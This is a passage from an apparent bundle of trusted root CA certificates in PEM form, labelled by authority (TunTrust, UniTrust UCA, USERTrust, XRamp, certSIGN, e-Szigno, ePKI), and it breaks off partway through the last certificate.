      -----END CERTIFICATE-----

      # TunTrust Root CA
      -----BEGIN CERTIFICATE-----
      MIIFszCCA5ugAwIBAgIUEwLV4kBMkkaGFmddtLu7sms+/BMwDQYJKoZIhvcNAQEL
      BQAwYTELMAkGA1UEBhMCVE4xNzA1BgNVBAoMLkFnZW5jZSBOYXRpb25hbGUgZGUg
      Q2VydGlmaWNhdGlvbiBFbGVjdHJvbmlxdWUxGTAXBgNVBAMMEFR1blRydXN0IFJv
      b3QgQ0EwHhcNMTkwNDI2MDg1NzU2WhcNNDQwNDI2MDg1NzU2WjBhMQswCQYDVQQG
      EwJUTjE3MDUGA1UECgwuQWdlbmNlIE5hdGlvbmFsZSBkZSBDZXJ0aWZpY2F0aW9u
      IEVsZWN0cm9uaXF1ZTEZMBcGA1UEAwwQVHVuVHJ1c3QgUm9vdCBDQTCCAiIwDQYJ
      KoZIhvcNAQEBBQADggIPADCCAgoCggIBAMPN0/y9BFPdDCA61YguBUtB9YOCfvdZ
      n56eY+hz2vYGqU8ftPkLHzmMmiDQfgbU7DTZhrx1W4eI8NLZ1KMKsmwb60ksPqxd
      2JQDoOw05TDENX37Jk0bbjBU2PWARZw5rZzJJQRNmpA+TkBuimvNKWfGzC3gdOgF
      VwpIUPp6Q9p+7FuaDmJ2/uqdHYVy7BG7NegfJ7/Boce7SBbdVtfMTqDhuazb1YMZ
      GoXRlJfXyqNlC/M4+QKu3fZnz8k/9YosRxqZbwUN/dAdgjH8KcwAWJeRTIAAHDOF
      li/LQcKLEITDCSSJH7UP2dl3RxiSlGBcx5kDPP73lad9UKGAwqmDrViWVSHbhlnU
      r8a83YFuB9tgYv7sEG7aaAH0gxupPqJbI9dkxt/con3YS7qC0lH4Zr8GRuR5KiY2
      eY8fTpkdso8MDhz/yV3A/ZAQprE38806JG60hZC/gLkMjNWb1sjxVj8agIl6qeIb
      MlEsPvLfe/ZdeikZjuXIvTZxi11Mwh0/rViizz1wTaZQmCXcI/m4WEEIcb9PuISg
      jwBUFfyRbVinljvrS5YnzWuioYasDXxU5mZMZl+QviGaAkYt5IPCgLnPSz7ofzwB
      7I9ezX/SKEIBlYrilz0QIX32nRzFNKHsLA4KUiwSVXAkPcvCFDVDXSdOvsC9qnyW
      5/yeYa1E0wCXAgMBAAGjYzBhMB0GA1UdDgQWBBQGmpsfU33x9aTI04Y+oXNZtPdE
      ITAPBgNVHRMBAf8EBTADAQH/MB8GA1UdIwQYMBaAFAaamx9TffH1pMjThj6hc1m0
      90QhMA4GA1UdDwEB/wQEAwIBBjANBgkqhkiG9w0BAQsFAAOCAgEAqgVutt0Vyb+z
      xiD2BkewhpMl0425yAA/l/VSJ4hxyXT968pk21vvHl26v9Hr7lxpuhbI87mP0zYu
      QEkHDVneixCwSQXi/5E/S7fdAo74gShczNxtr18UnH1YeA32gAm56Q6XKRm4t+v4
      FstVEuTGfbvE7Pi1HE4+Z7/FXxttbUcoqgRYYdZ2vyJ/0Adqp2RT8JeNnYA/u8EH
      22Wv5psymsNUk8QcCMNE+3tjEUPRahphanltkE8pjkcFwRJpadbGNjHh/PqAulxP
      xOu3Mqz4dWEX1xAZufHSCe96Qp1bWgvUxpVOKs7/B9dPfhgGiPEZtdmYu65xxBzn
      dFlY7wyJz4sfdZMaBBSSSFCp61cpABbjNhzI+L/wM9VBD8TMPN3pM0MBkRArHtG5
      Xc0yGYuPjCB31yLEQtyEFpslbei0VXF/sHyz03FJuc9SpAQ/3D2gu68zngowYI7b
      nV2UqL1g52KAdoGDDIzMMEZJ4gzSqK/rYXHv5yJiqfdcZGyfFoxnNidF9Ql7v/YQ
      CvGwjVRDjAS6oz/v4jXH+XTgbzRB0L9zZVcg+ZtnemZoJE6AZb0QmQZZ8mWvuMZH
      u/2QeItBcy6vVR/cO5JyboTT0GFMDcx2V+IthSIVNg3rAZ3r2OvEhJn7wAzMMujj
      d9qDRIueVSjAi1jTkD5OGwDxFa2DK5o=
      -----END CERTIFICATE-----

      # UCA Extended Validation Root
      -----BEGIN CERTIFICATE-----
      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
      -----END CERTIFICATE-----

      # UCA Global G2 Root
      -----BEGIN CERTIFICATE-----
      MIIFRjCCAy6gAwIBAgIQXd+x2lqj7V2+WmUgZQOQ7zANBgkqhkiG9w0BAQsFADA9
      MQswCQYDVQQGEwJDTjERMA8GA1UECgwIVW5pVHJ1c3QxGzAZBgNVBAMMElVDQSBH
      bG9iYWwgRzIgUm9vdDAeFw0xNjAzMTEwMDAwMDBaFw00MDEyMzEwMDAwMDBaMD0x
      CzAJBgNVBAYTAkNOMREwDwYDVQQKDAhVbmlUcnVzdDEbMBkGA1UEAwwSVUNBIEds
      b2JhbCBHMiBSb290MIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEAxeYr
      b3zvJgUno4Ek2m/LAfmZmqkywiKHYUGRO8vDaBsGxUypK8FnFyIdK+35KYmToni9
      kmugow2ifsqTs6bRjDXVdfkX9s9FxeV67HeToI8jrg4aA3++1NDtLnurRiNb/yzm
      VHqUwCoV8MmNsHo7JOHXaOIxPAYzRrZUEaalLyJUKlgNAQLx+hVRZ2zA+te2G3/R
      VogvGjqNO7uCEeBHANBSh6v7hn4PJGtAnTRnvI3HLYZveT6OqTwXS3+wmeOwcWDc
      C/Vkw85DvG1xudLeJ1uK6NjGruFZfc8oLTW4lVYa8bJYS7cSN8h8s+1LgOGN+jIj
      tm+3SJUIsUROhYw6AlQgL9+/V087OpAh18EmNVQg7Mc/R+zvWr9LesGtOxdQXGLY
      D0tK3Cv6brxzks3sx1DoQZbXqX5t2Okdj4q1uViSukqSKwxW/YDrCPBeKW4bHAyv
      j5OJrdu9o54hyokZ7N+1wxrrFv54NkzWbtA+FxyQF2smuvt6L78RHBgOLXMDj6Dl
      NaBa4kx1HXHhOThTeEDMg5PXCp6dW4+K5OXgSORIskfNTip1KnvyIvbJvgmRlld6
      iIis7nCs+dwp4wwcOxJORNanTrAmyPPZGpeRaOrvjUYG0lZFWJo8DA+DuAUlwznP
      O6Q0ibd5Ei9Hxeepl2n8pndntd978XplFeRhVmUCAwEAAaNCMEAwDgYDVR0PAQH/
      BAQDAgEGMA8GA1UdEwEB/wQFMAMBAf8wHQYDVR0OBBYEFIHEjMz15DD/pQwIX4wV
      ZyF0Ad/fMA0GCSqGSIb3DQEBCwUAA4ICAQATZSL1jiutROTL/7lo5sOASD0Ee/oj
      L3rtNtqyzm325p7lX1iPyzcyochltq44PTUbPrw7tgTQvPlJ9Zv3hcU2tsu8+Mg5
      1eRfB70VVJd0ysrtT7q6ZHafgbiERUlMjW+i67HM0cOU2kTC5uLqGOiiHycFutfl
      1qnN3e92mI0ADs0b+gO3joBYDic/UvuUospeZcnWhNq5NXHzJsBPd+aBJ9J3O5oU
      b3n09tDh05S60FdRvScFDcH9yBIw7m+NESsIndTUv4BFFJqIRNow6rSn4+7vW4LV
      PtateJLbXDzz2K36uGt/xDYotgIVilQsnLAXc47QN6MUPJiVAAwpBVueSUmxX8fj
      y88nZY41F7dXyDDZQVu5FLbowg+UMaeUmMxq67XhJ/UQqAHojhJi6IjMtX9Gl8Cb
      EGY4GjZGXyJoPd/JxhMnq1MGrKI8hgZlb7F+sSlEmqO6SWkoaY/X5V+tBIZkbxqg
      DMUIYs6Ao9Dz7GjevjPHF1t/gMRMTLGmhIrDO7gJzRSBuhjjVFc2/tsvfEehOjPI
      +Vg7RE+xygKJBJYoaMVLuCaJu9YzL1DV/pqJuhgyklTGW+Cd+V7lDSKb9triyCGy
      YiGqhkCyLmTTX8jjfhFnRR8F/uOi77Oos/N9j/gMHyIfLXC0uAE0djAA5SN4p1bX
      UB+K+wb1whnw0A==
      -----END CERTIFICATE-----

      # USERTrust ECC Certification Authority
      -----BEGIN CERTIFICATE-----
      MIICjzCCAhWgAwIBAgIQXIuZxVqUxdJxVt7NiYDMJjAKBggqhkjOPQQDAzCBiDEL
      MAkGA1UEBhMCVVMxEzARBgNVBAgTCk5ldyBKZXJzZXkxFDASBgNVBAcTC0plcnNl
      eSBDaXR5MR4wHAYDVQQKExVUaGUgVVNFUlRSVVNUIE5ldHdvcmsxLjAsBgNVBAMT
      JVVTRVJUcnVzdCBFQ0MgQ2VydGlmaWNhdGlvbiBBdXRob3JpdHkwHhcNMTAwMjAx
      MDAwMDAwWhcNMzgwMTE4MjM1OTU5WjCBiDELMAkGA1UEBhMCVVMxEzARBgNVBAgT
      Ck5ldyBKZXJzZXkxFDASBgNVBAcTC0plcnNleSBDaXR5MR4wHAYDVQQKExVUaGUg
      VVNFUlRSVVNUIE5ldHdvcmsxLjAsBgNVBAMTJVVTRVJUcnVzdCBFQ0MgQ2VydGlm
      aWNhdGlvbiBBdXRob3JpdHkwdjAQBgcqhkjOPQIBBgUrgQQAIgNiAAQarFRaqflo
      I+d61SRvU8Za2EurxtW20eZzca7dnNYMYf3boIkDuAUU7FfO7l0/4iGzzvfUinng
      o4N+LZfQYcTxmdwlkWOrfzCjtHDix6EznPO/LlxTsV+zfTJ/ijTjeXmjQjBAMB0G
      A1UdDgQWBBQ64QmG1M8ZwpZ2dEl23OA1xmNjmjAOBgNVHQ8BAf8EBAMCAQYwDwYD
      VR0TAQH/BAUwAwEB/zAKBggqhkjOPQQDAwNoADBlAjA2Z6EWCNzklwBBHU6+4WMB
      zzuqQhFkoJ2UOQIReVx7Hfpkue4WQrO/isIJxOzksU0CMQDpKmFHjFJKS04YcPbW
      RNZu9YO6bVi9JNlWSOrvxKJGgYhqOkbRqZtNyWHa0V1Xahg=
      -----END CERTIFICATE-----

      # USERTrust RSA Certification Authority
      -----BEGIN CERTIFICATE-----
      MIIF3jCCA8agAwIBAgIQAf1tMPyjylGoG7xkDjUDLTANBgkqhkiG9w0BAQwFADCB
      iDELMAkGA1UEBhMCVVMxEzARBgNVBAgTCk5ldyBKZXJzZXkxFDASBgNVBAcTC0pl
      cnNleSBDaXR5MR4wHAYDVQQKExVUaGUgVVNFUlRSVVNUIE5ldHdvcmsxLjAsBgNV
      BAMTJVVTRVJUcnVzdCBSU0EgQ2VydGlmaWNhdGlvbiBBdXRob3JpdHkwHhcNMTAw
      MjAxMDAwMDAwWhcNMzgwMTE4MjM1OTU5WjCBiDELMAkGA1UEBhMCVVMxEzARBgNV
      BAgTCk5ldyBKZXJzZXkxFDASBgNVBAcTC0plcnNleSBDaXR5MR4wHAYDVQQKExVU
      aGUgVVNFUlRSVVNUIE5ldHdvcmsxLjAsBgNVBAMTJVVTRVJUcnVzdCBSU0EgQ2Vy
      dGlmaWNhdGlvbiBBdXRob3JpdHkwggIiMA0GCSqGSIb3DQEBAQUAA4ICDwAwggIK
      AoICAQCAEmUXNg7D2wiz0KxXDXbtzSfTTK1Qg2HiqiBNCS1kCdzOiZ/MPans9s/B
      3PHTsdZ7NygRK0faOca8Ohm0X6a9fZ2jY0K2dvKpOyuR+OJv0OwWIJAJPuLodMkY
      tJHUYmTbf6MG8YgYapAiPLz+E/CHFHv25B+O1ORRxhFnRghRy4YUVD+8M/5+bJz/
      Fp0YvVGONaanZshyZ9shZrHUm3gDwFA66Mzw3LyeTP6vBZY1H1dat//O+T23LLb2
      VN3I5xI6Ta5MirdcmrS3ID3KfyI0rn47aGYBROcBTkZTmzNg95S+UzeQc0PzMsNT
      79uq/nROacdrjGCT3sTHDN/hMq7MkztReJVni+49Vv4M0GkPGw/zJSZrM233bkf6
      c0Plfg6lZrEpfDKEY1WJxA3Bk1QwGROs0303p+tdOmw1XNtB1xLaqUkL39iAigmT
      Yo61Zs8liM2EuLE/pDkP2QKe6xJMlXzzawWpXhaDzLhn4ugTncxbgtNMs+1b/97l
      c6wjOy0AvzVVdAlJ2ElYGn+SNuZRkg7zJn0cTRe8yexDJtC/QV9AqURE9JnnV4ee
      UB9XVKg+/XRjL7FQZQnmWEIuQxpMtPAlR1n6BB6T1CZGSlCBst6+eLf8ZxXhyVeE
      Hg9j1uliutZfVS7qXMYoCAQlObgOK6nyTJccBz8NUvXt7y+CDwIDAQABo0IwQDAd
      BgNVHQ4EFgQUU3m/WqorSs9UgOHYm8Cd8rIDZsswDgYDVR0PAQH/BAQDAgEGMA8G
      A1UdEwEB/wQFMAMBAf8wDQYJKoZIhvcNAQEMBQADggIBAFzUfA3P9wF9QZllDHPF
      Up/L+M+ZBn8b2kMVn54CVVeWFPFSPCeHlCjtHzoBN6J2/FNQwISbxmtOuowhT6KO
      VWKR82kV2LyI48SqC/3vqOlLVSoGIG1VeCkZ7l8wXEskEVX/JJpuXior7gtNn3/3
      ATiUFJVDBwn7YKnuHKsSjKCaXqeYalltiz8I+8jRRa8YFWSQEg9zKC7F4iRO/Fjs
      8PRF/iKz6y+O0tlFYQXBl2+odnKPi4w2r78NBc5xjeambx9spnFixdjQg3IM8WcR
      iQycE0xyNN+81XHfqnHd4blsjDwSXWXavVcStkNr/+XeTWYRUc+ZruwXtuhxkYze
      Sf7dNXGiFSeUHM9h4ya7b6NnJSFd5t0dCy5oGzuCr+yDZ4XUmFF0sbmZgIn/f3gZ
      XHlKYC6SQK5MNyosycdiyA5d9zZbyuAlJQG03RoHnHcAP9Dc1ew91Pq7P8yF1m9/
      qS3fuQL39ZeatTXaw2ewh0qpKJ4jjv9cJ2vhsE/zB+4ALtRZh8tSQZXq9EfX7mRB
      VXyNWQKV3WKdwrnuWih0hKWbt5DHDAff9Yk2dDLWKMGwsAvgnEzDHNb842m1R0aB
      L6KCq9NjRHDEjf8tM7qtj3u1cIiuPhnPQCjY/MiQu12ZIvVS5ljFH4gxQ+6IHdfG
      jjxDah2nGN59PRbxYvnKkKj9
      -----END CERTIFICATE-----

      # XRamp Global CA Root
      -----BEGIN CERTIFICATE-----
      MIIEMDCCAxigAwIBAgIQUJRs7Bjq1ZxN1ZfvdY+grTANBgkqhkiG9w0BAQUFADCB
      gjELMAkGA1UEBhMCVVMxHjAcBgNVBAsTFXd3dy54cmFtcHNlY3VyaXR5LmNvbTEk
      MCIGA1UEChMbWFJhbXAgU2VjdXJpdHkgU2VydmljZXMgSW5jMS0wKwYDVQQDEyRY
      UmFtcCBHbG9iYWwgQ2VydGlmaWNhdGlvbiBBdXRob3JpdHkwHhcNMDQxMTAxMTcx
      NDA0WhcNMzUwMTAxMDUzNzE5WjCBgjELMAkGA1UEBhMCVVMxHjAcBgNVBAsTFXd3
      dy54cmFtcHNlY3VyaXR5LmNvbTEkMCIGA1UEChMbWFJhbXAgU2VjdXJpdHkgU2Vy
      dmljZXMgSW5jMS0wKwYDVQQDEyRYUmFtcCBHbG9iYWwgQ2VydGlmaWNhdGlvbiBB
      dXRob3JpdHkwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQCYJB69FbS6
      38eMpSe2OAtp87ZOqCwuIR1cRN8hXX4jdP5efrRKt6atH67gBhbim1vZZ3RrXYCP
      KZ2GG9mcDZhtdhAoWORlsH9KmHmf4MMxfoArtYzAQDsRhtDLooY2YKTVMIJt2W7Q
      DxIEM5dfT2Fa8OT5kavnHTu86M/0ay00fOJIYRyO82FEzG+gSqmUsE3a56k0enI4
      qEHMPJQRfevIpoy3hsvKMzvZPTeL+3o+hiznc9cKV6xkmxnr9A8ECIqsAxcZZPRa
      JSKNNCyy9mgdEm3Tih4U2sSPpuIjhdV6Db1q4Ons7Be7QhtnqiXtRYMh/MHJfNVi
      PvryxS3T/dRlAgMBAAGjgZ8wgZwwEwYJKwYBBAGCNxQCBAYeBABDAEEwCwYDVR0P
      BAQDAgGGMA8GA1UdEwEB/wQFMAMBAf8wHQYDVR0OBBYEFMZPoj0GY4QJnM5i5ASs
      jVy16bYbMDYGA1UdHwQvMC0wK6ApoCeGJWh0dHA6Ly9jcmwueHJhbXBzZWN1cml0
      eS5jb20vWEdDQS5jcmwwEAYJKwYBBAGCNxUBBAMCAQEwDQYJKoZIhvcNAQEFBQAD
      ggEBAJEVOQMBG2f7Shz5CmBbodpNl2L5JFMn14JkTpAuw0kbK5rc/Kh4ZzXxHfAR
      vbdI4xD2Dd8/0sm2qlWkSLoC295ZLhVbO50WfUfXN+pfTXYSNrsf16GBBEYgoyxt
      qZ4Bfj8pzgCT3/3JknOJiWSe5yvkHJEs0rnOfc5vMZnT5r7SHpDwCRR5XCOrTdLa
      IR9NmXmd4c8nnxCbHIgNsIpkQTG4DmyQJKSbXHGPurt+HBvbaoAPIbzp26a3QPSy
      i6mx5O+aGtA9aZnuqCij4Tyz8LIRnM98QObd50N9otg6tamN8jSZxNQQ4Qb9CYQQ
      O+7ETPTsJ3xCwnR8gooJybQDJbw=
      -----END CERTIFICATE-----

      # certSIGN ROOT CA
      -----BEGIN CERTIFICATE-----
      MIIDODCCAiCgAwIBAgIGIAYFFnACMA0GCSqGSIb3DQEBBQUAMDsxCzAJBgNVBAYT
      AlJPMREwDwYDVQQKEwhjZXJ0U0lHTjEZMBcGA1UECxMQY2VydFNJR04gUk9PVCBD
      QTAeFw0wNjA3MDQxNzIwMDRaFw0zMTA3MDQxNzIwMDRaMDsxCzAJBgNVBAYTAlJP
      MREwDwYDVQQKEwhjZXJ0U0lHTjEZMBcGA1UECxMQY2VydFNJR04gUk9PVCBDQTCC
      ASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBALczuX7IJUqOtdu0KBuqV5Do
      0SLTZLrTk+jUrIZhQGpgV2hUhE28alQCBf/fm5oqrl0Hj0rDKH/v+yv6efHHrfAQ
      UySQi2bJqIirr1qjAOm+ukbuW3N7LBeCgV5iLKECZbO9xSsAfsT8AzNXDe3i+s5d
      RdY4zTW2ssHQnIFKquSyAVwdj1+ZxLGt24gh65AIgoDzMKND5pCCrlUoSe1b16kQ
      OA7+j0xbm0bqQfWwCHTD0IgztnzXdN/chNFDDnU5oSVAKOp4yw4sLjmdjItuFhwv
      JoIQ4uNllAoEwF73XVv4EOLQunpL+943AAAaWyjj0pxzPjKHmKHJUS/X3qwzs08C
      AwEAAaNCMEAwDwYDVR0TAQH/BAUwAwEB/zAOBgNVHQ8BAf8EBAMCAcYwHQYDVR0O
      BBYEFOCMm9slSbPxfIbWskKHC9BroNnkMA0GCSqGSIb3DQEBBQUAA4IBAQA+0hyJ
      LjX8+HXd5n9liPRyTMks1zJO890ZeUe9jjtbkw9QSSQTaxQGcu8J06Gh40CEyecY
      MnQ8SG4Pn0vU9x7Tk4ZkVJdjclDVVc/6IJMCopvDI5NOFlV2oHB5bc0hH88vLbwZ
      44gx+FkagQnIl6Z0x2DEW8xXjrJ1/RsCCdtZb3KTafcxQdaIOL+Hsr0Wefmq5L6I
      Jd1hJyMctTEHBDa0GpC9oHRxUIltvBTjD4au8as+x6AJzKNI0eDbZOeStc+vckNw
      i/nDhDwTqn6Sm1dTk/pwwpEOMfmbZ13pljheX7NzTogVZ96edhBiIL5VaZVDADlN
      9u6wWk5JRFRYX0KD
      -----END CERTIFICATE-----

      # certSIGN Root CA G2
      -----BEGIN CERTIFICATE-----
      MIIFRzCCAy+gAwIBAgIJEQA0tk7GNi02MA0GCSqGSIb3DQEBCwUAMEExCzAJBgNV
      BAYTAlJPMRQwEgYDVQQKEwtDRVJUU0lHTiBTQTEcMBoGA1UECxMTY2VydFNJR04g
      Uk9PVCBDQSBHMjAeFw0xNzAyMDYwOTI3MzVaFw00MjAyMDYwOTI3MzVaMEExCzAJ
      BgNVBAYTAlJPMRQwEgYDVQQKEwtDRVJUU0lHTiBTQTEcMBoGA1UECxMTY2VydFNJ
      R04gUk9PVCBDQSBHMjCCAiIwDQYJKoZIhvcNAQEBBQADggIPADCCAgoCggIBAMDF
      dRmRfUR0dIf+DjuW3NgBFszuY5HnC2/OOwppGnzC46+CjobXXo9X69MhWf05N0Iw
      vlDqtg+piNguLWkh59E3GE59kdUWX2tbAMI5Qw02hVK5U2UPHULlj88F0+7cDBrZ
      uIt4ImfkabBoxTzkbFpG583H+u/E7Eu9aqSs/cwoUe+StCmrqzWaTOTECMYmzPhp
      n+Sc8CnTXPnGFiWeI8MgwT0PPzhAsP6CRDiqWhqKa2NYOLQV07YRaXseVO6MGiKs
      cpc/I1mbySKEwQdPzH/iV8oScLumZfNpdWO9lfsbl83kqK/20U6o2YpxJM02PbyW
      xPFsqa7lzw1uKA2wDrXKUXt4FMMgL3/7FFXhEZn91QqhngLjYl/rNUssuHLoPj1P
      rCy7Lobio3aP5ZMqz6WryFyNSwb/EkaseMsUBzXgqd+L6a8VTxaJW732jcZZroiF
      DsGJ6x9nxUWO/203Nit4ZoORUSs9/1F3dmKh7Gc+PoGD4FapUB8fepmrY7+EF3fx
      DTvf95xhszWYijqy7DwaNz9+j5LP2RIUZNoQAhVB/0/E6xyjyfqZ90bp4RjZsbgy
      LcsUDFDYg2WD7rlcz8sFWkz6GZdr1l0T08JcVLwyc6B49fFtHsufpaafItzRUZ6C
      eWRgKRM+o/1Pcmqr4tTluCRVLERLiohEnMqE0yo7AgMBAAGjQjBAMA8GA1UdEwEB
      /wQFMAMBAf8wDgYDVR0PAQH/BAQDAgEGMB0GA1UdDgQWBBSCIS1mxteg4BXrzkwJ
      d8RgnlRuAzANBgkqhkiG9w0BAQsFAAOCAgEAYN4auOfyYILVAzOBywaK8SJJ6ejq
      kX/GM15oGQOGO0MBzwdw5AgeZYWR5hEit/UCI46uuR59H35s5r0l1ZUa8gWmr4UC
      b6741jH/JclKyMeKqdmfS0mbEVeZkkMR3rYzpMzXjWR91M08KCy0mpbqTfXERMQl
      qiCA2ClV9+BB/AYm/7k29UMUA2Z44RGx2iBfRgB4ACGlHgAoYXhvqAEBj500mv/0
      OJD7uNGzcgbJceaBxXntC6Z58hMLnPddDnskk7RI24Zf3lCGeOdA5jGokHZwYa+c
      NywRtYK3qq4kNFtyDGkNzVmf9nGvnAvRCjj5BiKDUyUM/FHE5r7iOZULJK2v0ZXk
      ltd0ZGtxTgI8qoXzIKNDOXZbbFD+mpwUHmUUihW9o4JFWklWatKcsWMy5WHgUyIO
      pwpJ6st+H6jiYoD2EEVSmAYY3qXNL3+q1Ok+CHLsIwMCPKaq2LxndD0UF/tUSxfj
      03k9bWtJySgOLnRQvwzZRjoQhsmnP+mg7H/rpXdYaXHmgwo38oZJar55CJD2AhZk
      PuXaTH4MNMn5X7azKFGnpyuqSfqNZSlO42sTp5SjLVFteAxEy9/eCG/Oo2Sr05WE
      1LlSVHJ7liXMvGnjSG4N0MedJ5qq+BOS3R7fY581qRY27Iy4g/Q9iY/NtBde17MX
      QRBdJ3NghVdJIgc=
      -----END CERTIFICATE-----

      # e-Szigno Root CA 2017
      -----BEGIN CERTIFICATE-----
      MIICQDCCAeWgAwIBAgIMAVRI7yH9l1kN9QQKMAoGCCqGSM49BAMCMHExCzAJBgNV
      BAYTAkhVMREwDwYDVQQHDAhCdWRhcGVzdDEWMBQGA1UECgwNTWljcm9zZWMgTHRk
      LjEXMBUGA1UEYQwOVkFUSFUtMjM1ODQ0OTcxHjAcBgNVBAMMFWUtU3ppZ25vIFJv
      b3QgQ0EgMjAxNzAeFw0xNzA4MjIxMjA3MDZaFw00MjA4MjIxMjA3MDZaMHExCzAJ
      BgNVBAYTAkhVMREwDwYDVQQHDAhCdWRhcGVzdDEWMBQGA1UECgwNTWljcm9zZWMg
      THRkLjEXMBUGA1UEYQwOVkFUSFUtMjM1ODQ0OTcxHjAcBgNVBAMMFWUtU3ppZ25v
      IFJvb3QgQ0EgMjAxNzBZMBMGByqGSM49AgEGCCqGSM49AwEHA0IABJbcPYrYsHtv
      xie+RJCxs1YVe45DJH0ahFnuY2iyxl6H0BVIHqiQrb1TotreOpCmYF9oMrWGQd+H
      Wyx7xf58etqjYzBhMA8GA1UdEwEB/wQFMAMBAf8wDgYDVR0PAQH/BAQDAgEGMB0G
      A1UdDgQWBBSHERUI0arBeAyxr87GyZDvvzAEwDAfBgNVHSMEGDAWgBSHERUI0arB
      eAyxr87GyZDvvzAEwDAKBggqhkjOPQQDAgNJADBGAiEAtVfd14pVCzbhhkT61Nlo
      jbjcI4qKDdQvfepz7L9NbKgCIQDLpbQS+ue16M9+k/zzNY9vTlp8tLxOsvxyqltZ
      +efcMQ==
      -----END CERTIFICATE-----

      # ePKI Root Certification Authority
      -----BEGIN CERTIFICATE-----
      MIIFsDCCA5igAwIBAgIQFci9ZUdcr7iXAF7kBtK8nTANBgkqhkiG9w0BAQUFADBe
      MQswCQYDVQQGEwJUVzEjMCEGA1UECgwaQ2h1bmdod2EgVGVsZWNvbSBDby4sIEx0
      ZC4xKjAoBgNVBAsMIWVQS0kgUm9vdCBDZXJ0aWZpY2F0aW9uIEF1dGhvcml0eTAe
      Fw0wNDEyMjAwMjMxMjdaFw0zNDEyMjAwMjMxMjdaMF4xCzAJBgNVBAYTAlRXMSMw
      IQYDVQQKDBpDaHVuZ2h3YSBUZWxlY29tIENvLiwgTHRkLjEqMCgGA1UECwwhZVBL
      SSBSb290IENlcnRpZmljYXRpb24gQXV0aG9yaXR5MIICIjANBgkqhkiG9w0BAQEF
      AAOCAg8AMIICCgKCAgEA4SUP7o3biDN1Z82tH306Tm2d0y8U82N0ywEhajfqhFAH
      SyZbCUNsIZ5qyNUD9WBpj8zwIuQf5/dqIjG3LBXy4P4AakP/h2XGtRrBp0xtInAh
      ijHyl3SJCRImHJ7K2RKilTza6We/CKBk49ZCt0Xvl/T29de1ShUCWH2YWEtgvM3X
      DZoTM1PRYfl61dd4s5oz9wCGzh1NlDivqOx4UXCKXBCDUSH3ET00hl7lSM2XgYI1
      TBnsZfZrxQWh7kcT1rMhJ5QQCtkkO7q+RBNGMD+XPNjX12ruOzjjK9SXDrkb5wdJ
      fzcq+Xd4z1TtW0ado4AOkUPB1ltfFLqfpo0kR0BZv3I4sjZsN/+Z0V0OWQqraffA
      sgRFelQArr5T9rXn4fg8ozHSqf4hUmTFpmfwdQcGlBSBVcYn5AGPF8Fqcde+S/uU
      WH1+ETOxQvdibBjWzwloPn9s9h6PYq2lY9sJpx8iQkEeb5mKPtf5P0B6ebClAZLS
      nT0IFaUQAS2zMnaolQ2zepr7BxB4EW/hj8e6DyUadCrlHJhBmd8hh+iVBmoKs2pH
